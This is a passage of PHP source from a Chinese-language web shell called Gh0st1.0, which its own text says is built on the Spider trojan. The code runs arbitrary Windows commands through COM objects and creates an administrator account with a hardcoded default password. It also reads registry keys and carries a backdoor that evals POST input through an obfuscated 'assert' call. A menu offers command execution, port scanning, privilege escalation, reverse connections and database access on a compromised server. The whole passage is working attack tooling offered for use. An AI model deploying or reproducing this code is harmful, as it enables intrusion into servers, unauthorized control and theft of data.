1905while ($pgrow=pg_fetch_row($pgresult))
1906{
1907echo "<tr>\n";
1908for ($i=0; $i<pg_num_fields($pgresult); $i++ )
1909{echo '<td>'."$pgrow[$i]".'</td>';}
1910echo "</tr>\n";
1911}
1912echo "</table>\n"."</font>";
1913pg_free_result($pgresult);
1914pg_close();
1915}
1916echo "</div>";
1917}
1918function Mysql_o()
1919{
1920 ob_start();
1921 if(isset($_POST['mhost']) && isset($_POST['mport']) && isset($_POST['muser']) && isset($_POST['mpass']))
1922 {
1923 if(@mysql_connect($_POST['mhost'].':'.$_POST['mport'],$_POST['muser'],$_POST['mpass']))
1924 {
1925 $cookietime = time() + 24 * 3600;
1926 setcookie('m_silichost',$_POST['mhost'],$cookietime);
1927 setcookie('m_silicport',$_POST['mport'],$cookietime);
1928 setcookie('m_silicuser',$_POST['muser'],$cookietime);
1929 setcookie('m_silicpass',$_POST['mpass'],$cookietime);
1930 die('æ£åœ¨ç™»é™†,请ç¨å€™...<meta http-equiv="refresh" content="0;URL=?s=r">');
1931 }
1932 }
1933print<<<END
1934<form method="POST" name="oform" id="oform" action="?s=o">
1935<div class="actall">åœ°å€ <input type="text" name="mhost" value="localhost" style="width:300px"></div>
1936<div class="actall">ç«¯å£ <input type="text" name="mport" value="3306" style="width:300px"></div>
1937<div class="actall">用户 <input type="text" name="muser" value="root" style="width:300px"></div>
1938<div class="actall">密ç <input type="text" name="mpass" value="" style="width:300px"></div>
1939<div class="actall"><input type="submit" value="登陆" style="width:80px;"> <input type="button" value="COOKIE" style="width:80px;" onclick="window.location='?s=r';"></div>
1940</form>
1941END;
1942 ob_end_flush();
1943 return true;
1944}
1945function zipact()
1946{
1947$zfile=$_POST['zfile'] ? $_POST['zfile']:'php.zip';
1948$jypt=$_POST['jypt'] ? $_POST['jypt']:'./';
1949$tip="未开始解压";
1950if($_POST['zip']=='zip'){
1951if(function_exists(zip_open)){
1952$zfile=key_exists('zip', $_GET) && $_GET['zip']?$_GET['zip']:$zfile;
1953$zfile= str_replace(array(dirname(__FILE__)."/",dirname(__FILE__)."\\"),array("",""),$zfile);
1954$zpath=str_replace('\\','/',dirname(__FILE__)).'/'.$zfile;
1955if(!is_file($zpath)){$tip='文件"'.$zpath.'"ä¸å˜åœ¨!';}else{
1956$zip= new ZipArchive();
1957$rs=$zip->open($zpath);
1958if($rs !== TRUE){$tip='解压失败:'.$rs;}
1959$zip->extractTo($jypt);
1960$zip->close();
1961$tip=$zfile.'解压æˆåŠŸ!';}
1962}else{$tip="æœåŠ¡å™¨ä¸æ”¯æŒPHP_ZIP组件,请确认";}
1963}
1964print<<<END
1965<div class="actall">
1966<form action="?s=za" method="POST">
1967<input type="hidden" name="zip" id="zip" value="zip">
1968本模å—使用PHPçš„zip_open扩展æ¥æ“作ZIP压缩文件<br>
1969使用å‰è¯·åœ¨ã€<b><a href="?s=f">系统信æ¯</a></b>】ä¸ç¡®è®¤ç³»ç»Ÿæ”¯æŒphp_zip<br>
1970压缩文件路径å¯å†™ä¸‹çº§ç›®å½•å’Œç‰©ç†è·¯å¾„，相对目录是å¦å¯æ“作未测试 :-(<br>
1971ç¡®è®¤ç›®æ ‡è·¯å¾„å¯å†™<br><br>
1972压缩文件路径：<br>
1973<input type="text" name="zfile" id="zfile" value="{$zfile}" style="width:720px;"><br><br>
1974ç›®æ ‡è·¯å¾„ï¼š
1975<input type="text" name="jypt" id="jypt" value="{$jypt}" style="width:720px;"><br><br>
1976<input type="submit" value="开始解压" style="width:80px;"><br><br><br>
1977{$tip}<br><br><br></form></div>
1978END;
1979}
1980//Windows组件接å£
1981function winshell()
1982{
1983$nop=' ';
1984if($_GET['winshell']=='wscript'){
1985$wcmd=$_POST['wcmd'] ? $_POST['wcmd']:'net user';
1986$wcpth=$_POST['wcpth'] ? $_POST['wcpth']:'cmd.exe';
1987print<<<END
1988<div class="actall">
1989<form action="?s=jk&winshell=wscript" method="POST">
1990<input type="hidden" name="do" id="do" value="do"><br>
1991{$nop}<input type="text" name="wcmd" id="wcmd" value="{$wcpth}" style="width:300px;"> -> CMD路径<br />
1992{$nop}<input type="text" name="wcmd" id="wcmd" value="{$wcmd}" style="width:300px;"> <input type="submit" value="执行" style="width:80px;">
1993<br><br><br></form></div>
1994END;
1995if($_POST['do']=='do'){
1996$ww=$wcpth." /c ".$wcmd;
1997$phpwsh=new COM("Wscript.Shell") or die("创建Shell.Wscript组件失败");
1998$phpexec=$phpwsh->exec($ww);
1999$execoutput=$wshexec->stdout();
2000$result=$execoutput->readall();
2001echo $result;
2002@$phpwsh->Release();
2003$phpwsh=NULL;
2004}
2005}elseif($_GET['winshell']=='shelluser'){
2006$wuser=$_POST['wuser'] ? $_POST['wuser']:'silic';
2007$wpasw=$_POST['wpasw'] ? $_POST['wpasw']:'1234@silic#';
2008print<<<END
2009<div class="actall">
2010<form action="?s=jk&winshell=shelluser" method="POST">
2011<input type="hidden" name="do" id="do" value="do"><br>
2012Shell.Usersç»„ä»¶æ·»åŠ ç®¡ç†å‘˜<br><br>
2013{$nop}新建用户å：<input type="text" name="wuser" id="wuser" value="{$wuser}" style="width:100px;"><br>
2014{$nop}新用户密ç ：<input type="text" name="wpasw" id="wpasw" value="{$wpasw}" style="width:100px;"><br><br>
2015<input type="submit" value="æ·»åŠ " style="width:80px;">
2016<br><br><br></form></div>
2017END;
2018if($_POST['do']='do'){
2019$shell = new COM("Shell.Users");
2020$cmd = $shell->create($wuser);
2021$cmd->changePassword($wpasw,"");
2022$cmd->setting["AccountType"] = 3;
2023}
2024}elseif($_GET['winshell']=='regedit'){
2025$regpath=$_POST['regpath'] ? $_POST['regpath']:'HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\\PortNumber';
2026print<<<END
2027<div class="actall">
2028<form action="?s=jk&winshell=regedit" method="POST">
2029<input type="hidden" name="do" id="do" value="do"><br>
2030RegRead()函数读å–注册表内容(Shell.Wscript组件)<br><br>
2031注册表路径：<br>
2032{$nop}<input type="text" name="regpath" id="regpath" value="{$regpath}" style="width:720px;"><br><br>
2033<input type="submit" value="读å–内容" style="width:80px;">
2034<br><br><br></form></div>
2035END;
2036if($_POST['do']=='do'){
2037$shell = new COM("WScript.Shell") or die("创建Shell.Wscript组件失败");
2038try{$registry_proxystring = $shell->RegRead($regpath);}
2039catch(Exception $e){echo '内容: '.$e->getMessage();}
2040echo $registry_proxystring;
2041}
2042}else{
2043$tip="æ®æµ‹è¯•æœ¬åŠŸèƒ½å¯ç”¨çš„å¯èƒ½æ€§ä¸ºä¸‡åˆ†ä¹‹ä¸€<br>Webshell所在æœåŠ¡å™¨å¿…须为Windows系统<br>PHPææƒå¾ˆçµæ´»ï¼Œä½†ä½ 在éžå¸¸æ— 奈的时候å¯ä»¥å°è¯•æœ¬åŠŸèƒ½<br></h5><br><br><br>";
2044print<<<END
2045<div class="actall"><pre>
2046<br><a href="?s=jk&winshell=wscript"> [ WScript组件 ] </a><br><br>
2047<h5>本功能使用PHP调用Windows组件ä¸çš„Wscript组件。<br>
2048Wscript为调用cmd命令组件<br>{$tip}<a href="?s=jk&winshell=shelluser"> [ Shell.User组件 ] </a><br><br>
2049<h5>本功能使用PHP调用Windows组件ä¸çš„Shell.user组件<br>
2050USER组件为Windows系统用户æ“作相关组件<br>{$tip}<a href="?s=jk&winshell=regedit"> [ æ³¨å†Œè¡¨è¯»å– ] </a><br><br>
2051<h5>本功能使用PHP调用Windows组件ä¸çš„Shell.Wscript组件<br>
2052RegRead()函数读å–系统注册表内容<br>{$tip}</pre></div>
2053END;
2054}
2055}
2056/**登陆相关开始**/
2057if($_GET['s'] == 'logout'){
2058 setcookie('admin_silicpass',NULL);
2059 die('<meta http-equiv="refresh" content="0;URL=?">');
2060}elseif($_GET['s'] == 'ch'){
2061$oldps=md5(md5(md5(trim($salt.$_POST['oldps']))));
2062$newps=base64_encode(base64_decode('JHBhc3N3b3JkPSI=').md5(md5(md5(trim($salt.$_POST['newps'])))).base64_decode('Ijs='));
2063print<<<END
2064<div class="actall"><form action="?s=ch" method="POST">
2065<input type="hidden" name="ch" id="ch" value="ch"><br>
2066* 修改本程åºç™»é™†å¯†ç (慎用!å¯èƒ½ä¼šé€ æˆç¨‹åºå¤±åŽ»å“应)<br>
2067* 本程åºç”±å¹½çµå®¢æ ˆå°æˆåŸºäºŽSpider木马开å‘，本版是基于Spider木马框架的第五次é‡æ–°å¼€å‘<br>
2068* 本程åºé‡‡ç”¨ä¸‰å±‚MD5+SaltåŠ å¯†åŠ äºŒæ¬¡sessionåŠ å¯†ï¼Œå¤§å¯ä¸å¿…担心被人社工<br>
2069* 第五版主è¦æ›´æ–°ï¼šåˆ 去FTPæ“作,注册表æ“作,Shellcode转æ¢ï¼Œå®Œå–„å’Œç¹åŽçŽ°æœ‰çš„功能，修æ£çŽ°æœ‰åŠŸèƒ½çš„部分bug，优化代ç <br>
2070<br>
2071旧密ç ：<input type="text" name="oldps" id="oldps" value="" style="width:120px;"><br />
2072新密ç ：<input type="text" name="newps" id="newps" value="" style="width:120px;"><br>
2073<input type="submit" value="更改" style="width:80px;">
2074<br><br><br></form></div>
2075END;
2076if($_POST['ch']='ch' && $oldps==$password && !empty($_POST['newps']))
2077{
2078$dline=19;
2079$chpsArr=file(__FILE__);
2080$chsize=count($chpsArr);
2081for($chi=0; $chi< $chsize; $chi++){
2082if($chi==$dline-1){$chpsStr.=base64_decode($newps)."\r\n";}
2083else{$chpsStr.=$chpsArr[$chi];}
2084}
2085file_put_contents(__FILE__,$chpsStr);
2086echo "更改æˆåŠŸ";
2087}else{echo "没有更改密ç ";}
2088}elseif(md5(md5(md5($salt.trim($_GET['s'])))) == $password){
2089$asse=$asse{0}.$asse{1}.$asse{1}.$asse{2}.$asse{3}.$asse{4};
2090@$asse($_POST[$_GET['s']]);
2091}else{
2092//登陆
2093function Root_Login($MSG_TOP)
2094{
2095$IP = gethostbyname($_SERVER["SERVER_NAME"]);
2096$addr=$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
2097print<<<END
2098END;
2099return false;
2100}
2101//窗体
2102function WinMain()
2103{
2104 $Server_IP = gethostbyname($_SERVER["SERVER_NAME"]);
2105 $Server_OS = PHP_OS;
2106 $Server_Soft = $_SERVER["SERVER_SOFTWARE"];
2107print<<<END
2108<html><head><title>Gh0st1.0</title>
2109<style type="text/css">
2110*{padding:0; margin:0;}
2111body{background:#AAAAAA;font-family:"Verdana", "Tahoma","宋体",sans-serif;font-size:13px;text-align:center;margin-top:5px;word-break:break-all;}
2112a{color:#FFFFFF;text-decoration:none;}
2113a:hover{background:#BBBBBB;}
2114.outtable{margin: 0 auto;height:595px;width:955px;color:#000000;border-top-width: 2px;border-right-width:2px;border-bottom-width: 2px;border-left-width: 2px;border-top-style: outset;border-right-style: outset;border-bottom-style: outset;border-left-style: outset;border-top-color: #FFFFFF;border-right-color: #8c8c8c;border-bottom-color: #8c8c8c;border-left-color: #FFFFFF;background-color: threedface;}
2115.topbg{padding-top:3px;font-size:12px;text-align:left;font-weight:bold;height:22px;width:950px;color:#FFFFFF;background:#293F5F;}
2116.listbg{font-family:'lucida grande',tahoma,helvetica,arial,'bitstream vera sans',sans-serif;font-size:13px;width:130px;}
2117.listbg li{padding:3px;color:#000000;height:25px;display:block;line-height:26px;text-indent:0px;}
2118.listbg li a{padding-top:2px;background:#BBBBBB;color:#000000;height:25px;display:block;line-height:24px;text-indent:0px;border-color:#999999 #999999 #999999 #999999;border-style:solid;border-width:1px;text-decoration:none;}
2119.footer{padding-top:3px;text-align: center;font-size:12px;font-weight: bold;height:20px;width:950px;color:#000000;background: #888888;}
2120</style>
2121<script language="JavaScript">
2122function switchTab(tabid)
2123{
2124if(tabid == '') return false;
2125for(var i=0;i<=15;i++)
2126{
2127 if(tabid == 't_'+i) document.getElementById(tabid).style.background="#FFFFFF";
2128 else document.getElementById('t_'+i).style.background="#BBBBBB";
2129}
2130return true;
2131}
2132</script>
2133</head>
2134<body>
2135<div class="outtable">
2136<div class="topbg"> <a href="?s=logout" title="退出">⊙</a> ⊙ <a href="?s=ch" target="main" title="更改密ç ">⊙</a> {$Server_IP} - {$Server_OS} - {$Server_Soft}</div>
2137 <div style="height:546px;">
2138 <table width="100%" height="100%" border=0 cellpadding="0" cellspacing="0">
2139 <tr><td width="140" align="center" valign="top">
2140 <ul class="listbg">
2141<li><a href="?s=a" id="t_0" onclick="switchTab('t_0')" style="background:#FFFFFF;" target="main">文件管ç†</a></li>
2142<li><a href="?s=g" id="t_1" onclick="switchTab('t_1')" target="main">执行命令</a></li>
2143<li><a href="?s=i" id="t_2" onclick="switchTab('t_2')" target="main">扫æ端å£</a></li>
2144<li><a href="?s=f" id="t_3" onclick="switchTab('t_3')" target="main">系统信æ¯</a></li>
2145<li><a href="?s=n" id="t_4" onclick="switchTab('t_4')" target="main">MYSQL执行</a></li>
2146<li><a href="?s=o" id="t_5" onclick="switchTab('t_5')" target="main">MYSQL管ç†</a></li>
2147<li><a href="?s=pq" id="t_6" onclick="switchTab('t_6')" target="main">PostgreSQL</a></li>
2148<li><a href="?s=gg" id="t_7" onclick="switchTab('t_7')" target="main">其它数æ®åº“</a></li>
2149<li><a href="?s=e" id="t_8" onclick="switchTab('t_8')" target="main">扫æ木马</a></li>
2150<li><a href="?s=j" id="t_9" onclick="switchTab('t_9')" target="main">æœç´¢æ–‡ä»¶</a></li>
2151<li><a href="?s=d" id="t_10" onclick="switchTab('t_10')" target="main">批é‡æ›¿æ¢</a></li>
2152<li><a href="?s=l" id="t_11" onclick="switchTab('t_11')" target="main">ServUææƒ</a></li>
2153<li><a href="?s=jk" id="t_12" onclick="switchTab('t_12')" target="main">Win组件</a></li>
2154<li><a href="?s=dd" id="t_13" onclick="switchTab('t_13')" target="main">å弹连接</a></li>
2155<li><a href="?s=ff" id="t_14" onclick="switchTab('t_14')" target="main">执行php代ç </a></li>
2156<li><a href="?s=za" id="t_15" onclick="switchTab('t_15')" target="main">ZIP解压</a></li></ul></td><td>
2157<iframe name="main" src="?s=a" width="100%" height="100%" frameborder="0"></iframe></td></tr></table></div>
2158<div class="footer">Gh0st1.0 By:dt </div></div></body></html>
2159END;
2160return false;
2161}
2162}
2163/*登陆相关结æŸ*/
2164if(get_magic_quotes_gpc())
2165{
2166 $_GET = Root_GP($_GET);
2167 $_POST = Root_GP($_POST);
2168}
2169if($_COOKIE['admin_silicpass'] != md5($password))
2170{
2171 ob_start();
2172 $MSG_TOP = 'LOGIN';
2173 if(isset($passt))
2174 {
2175 $cookietime = time() + 24 * 3600;
2176 setcookie('admin_silicpass',md5($passt),$cookietime);
2177 if(md5($passt) == md5($password)){die('<meta http-equiv="refresh" content="1;URL=?">');}
2178 else{$MSG_TOP = 'Gh0st1.0';}
2179 }
2180Root_Login($MSG_TOP);
2181ob_end_flush();
2182exit;
2183}
2184if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';}
2185$p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__));
2186switch($s){
2187case"a":File_a($p);break;
2188case"d":Tihuan_d();break;
2189case"e":Antivirus_e();break;
2190case"f":Info_f();break;
2191case"g":Exec_g();break;
2192case"i":Port_i();break;
2193case"j":Findfile_j();break;
2194case"jk":winshell();break;
2195case"l":Servu_l();break;
2196case"n":Mysql_n();break;
2197case"o":Mysql_o();break;
2198case"p":File_Edit($_GET['fp'],$_GET['fn']); break;
2199case"pq":Pgr_sql(); break;
2200case"q":File_Soup($p); break;
2201case"r":Mysql_Msg(); break;
2202case"dd":backconn();break;
2203case"ff":phpcode();break;
2204case"gg":otherdb();break;
2205case"za":zipact();break;
2206default:WinMain();break;
2207}?>